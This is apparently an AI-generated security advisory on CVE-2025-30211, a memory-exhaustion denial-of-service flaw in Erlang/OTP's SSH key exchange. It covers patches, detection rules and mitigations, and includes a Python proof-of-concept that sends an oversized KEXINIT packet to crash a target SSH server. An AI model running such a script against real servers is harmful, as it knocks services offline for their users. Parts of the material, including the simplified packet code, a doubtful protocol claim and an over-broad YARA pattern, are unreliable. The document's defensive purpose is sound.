CVE-2025-30211
Executive Summary
CVE-2025-30211 is a high-severity (CVSS 7.5) denial-of-service vulnerability in Erlang/OTP's SSH implementation. The flaw resides in the Key Exchange (KEX) initialization message handler. A remote, unauthenticated attacker can craft a malicious KEX init message containing algorithm names that exceed the RFC-specified 64-character limit. The implementation fails to validate this length, leading to excessive memory allocation during error processing. This can exhaust server memory, causing a denial of service. The vulnerability affects all Erlang/OTP versions prior to the patched releases (OTP-27.3.1, 26.2.5.10, 25.3.2.19). No public exploit code is available, but the attack vector is straightforward and requires no authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Erlang/OTP is a core dependency for many Elixir and Erlang applications. This vulnerability can be exploited in any service that exposes an SSH interface using the affected OTP versions. Organizations using Erlang-based systems (e.g., RabbitMQ, CouchDB, WhatsApp infrastructure) should prioritize patching. The package is distributed via official channels (GitHub, Erlang Solutions) and is not typically managed through npm, PyPI, Go, or Ruby registries.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete denial of service possible.
Threat Level: High. The low complexity and lack of authentication make this an attractive target for DDoS attacks against Erlang-based SSH services.
Deep Dive & Mechanics
The vulnerability is in the SSH KEX (Key Exchange) message handling within the ssh application of Erlang/OTP. The SSH protocol (RFC 4253) specifies that algorithm names in the kex_algorithms, server_host_key_algorithms, encryption_algorithms_client_to_server, etc., fields of the SSH_MSG_KEXINIT packet must not exceed 64 characters. The Erlang/OTP implementation does not enforce this limit.
When a malicious KEX init message is received with algorithm names longer than 64 characters, the server attempts to process the error. The error handling routine allocates memory proportional to the size of the malformed data. By sending a single large KEX init packet (e.g., with a single algorithm name of 10,000 characters), an attacker can trigger a massive memory allocation. This can quickly exhaust available memory, leading to a crash or unresponsiveness of the SSH server.
The attack does not require completing the SSH handshake; the malicious packet is processed during the initial KEX phase, before authentication. The parallel_login and max_sessions options can mitigate the impact by limiting concurrent connections, but they do not prevent the memory exhaustion per connection.
Vulnerable vs. Patched Code
The vulnerable code is in the ssh_kex module, specifically in the function that parses the KEX init message. The fix involves adding a length check for each algorithm name.
Vulnerable (pseudo-code):
parse_kex_init(Packet) ->
{Algorithms, _Rest} = decode_kex_packet(Packet),
%% No length validation on algorithm names
process_algorithms(Algorithms).
Patched (pseudo-code):
-define(MAX_ALGORITHM_NAME_LENGTH, 64).
parse_kex_init(Packet) ->
{Algorithms, _Rest} = decode_kex_packet(Packet),
%% Validate each algorithm name length
lists:foreach(fun(Name) ->
case byte_size(Name) > ?MAX_ALGORITHM_NAME_LENGTH of
true -> throw({error, invalid_algorithm_name});
false -> ok
end
end, Algorithms),
process_algorithms(Algorithms).
The patch ensures that any algorithm name exceeding 64 characters is rejected before any memory-intensive processing occurs.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A target running Erlang/OTP < 27.3.1, 26.2.5.10, or 25.3.2.19 with SSH enabled.
- Network access to the SSH port (default 22).
Exploit Concept: No public exploit exists, but the attack is simple to implement. The following Python script demonstrates the concept:
import socket
import struct
def build_malformed_kex_init():
# SSH protocol: version exchange is not required for this attack
# Build a malformed SSH_MSG_KEXINIT (message ID 20)
# with an overly long algorithm name
long_name = b"A" * 10000 # Exceeds 64-char limit
# Packet: length (4 bytes) + padding + payload
# For simplicity, we send a raw packet with the long name
# Actual SSH packet construction is more complex, but this illustrates the vector
payload = b"\x14" # SSH_MSG_KEXINIT
payload += b"\x00" * 16 # Cookie (random)
# kex_algorithms: name-list with one long entry
payload += struct.pack(">I", len(long_name) + 4) # length of name-list
payload += struct.pack(">I", len(long_name)) # length of name
payload += long_name
# Other fields can be minimal
packet_len = len(payload) + 5 # + padding length byte + padding
padding_len = 8 - ((packet_len + 4) % 8)
if padding_len < 4:
padding_len += 8
packet = struct.pack(">I", packet_len - 4) # packet length
packet += bytes([padding_len])
packet += payload
packet += b"\x00" * padding_len
return packet
def exploit(target_ip, target_port=22):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
# Send malformed KEX init
sock.send(build_malformed_kex_init())
sock.close()
if __name__ == "__main__":
exploit("192.168.1.100")
Expected Outcome: The target SSH server will allocate excessive memory and potentially crash or become unresponsive.
Blue Team (Defense & Detection)
Detection:
- Monitor for SSH connections that send unusually large KEX init packets.
- Use network intrusion detection systems (NIDS) to inspect SSH handshake packets for algorithm names exceeding 64 characters.
- Monitor memory usage of Erlang SSH processes for sudden spikes.
Mitigation:
- Apply the official patch immediately.
- As a workaround, set
parallel_logintofalseand reducemax_sessionsto limit concurrent connections. - Use firewall rules to restrict SSH access to trusted IPs only.
- Implement rate limiting on SSH connections.
Indicators of Compromise (IOCs)
Network IOCs:
- SSH packets with algorithm name lengths > 64 bytes in the KEX init message.
- Unusually large SSH packets (e.g., > 10KB) during the KEX phase.
- Multiple rapid SSH connection attempts from a single IP without completing the handshake.
System IOCs:
- Erlang VM crash logs showing memory allocation failures.
- High memory usage by the
sshapplication process. - System logs indicating OOM (Out Of Memory) killer activity.
File IOCs:
- Core dumps from the Erlang VM (if enabled).
Detection Engineering
YARA Rule
rule CVE_2025_30211_SSH_KEX_Overflow {
meta:
description = "Detects malformed SSH KEX init packets with overly long algorithm names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-30211"
strings:
$kex_init = { 14 } // SSH_MSG_KEXINIT
$long_name = /[\x00-\xff]{65,}/ // Any string of 65+ bytes
condition:
$kex_init at 0 and #long_name > 0
}
Sigma Rule
title: CVE-2025-30211 SSH KEX Init Memory Exhaustion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSH packets with algorithm names exceeding 64 characters
author: Valters IT
logsource:
category: network
product: suricata
detection:
selection:
event_type: alert
alert.signature_id: 3000001
condition: selection
falsepositives:
- None expected
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2025-30211 SSH KEX Init Memory Exhaustion"; flow:to_server,established; content:"|14|"; depth:1; content:"|00 00 00 41|"; within:4; distance:16; byte_test:4,>,64,0,relative; classtype:attempted-dos; sid:3000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Erlang/OTP to version 27.3.1, 26.2.5.10, or 25.3.2.19 (or later).
- Workaround: If patching is not immediately possible, set the following SSH options:
parallel_logintofalse- Reduce
max_sessionsto a low value (e.g., 10)
- Network Controls: Restrict SSH access to trusted IPs using firewall rules. Implement rate limiting on SSH connections.
Long-Term Measures:
- Implement input validation for all protocol fields in custom SSH implementations.
- Regularly audit dependencies for known vulnerabilities.
- Deploy network intrusion detection systems (NIDS) with custom rules for this CVE.
- Monitor memory usage of critical services and set alerts for anomalies.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.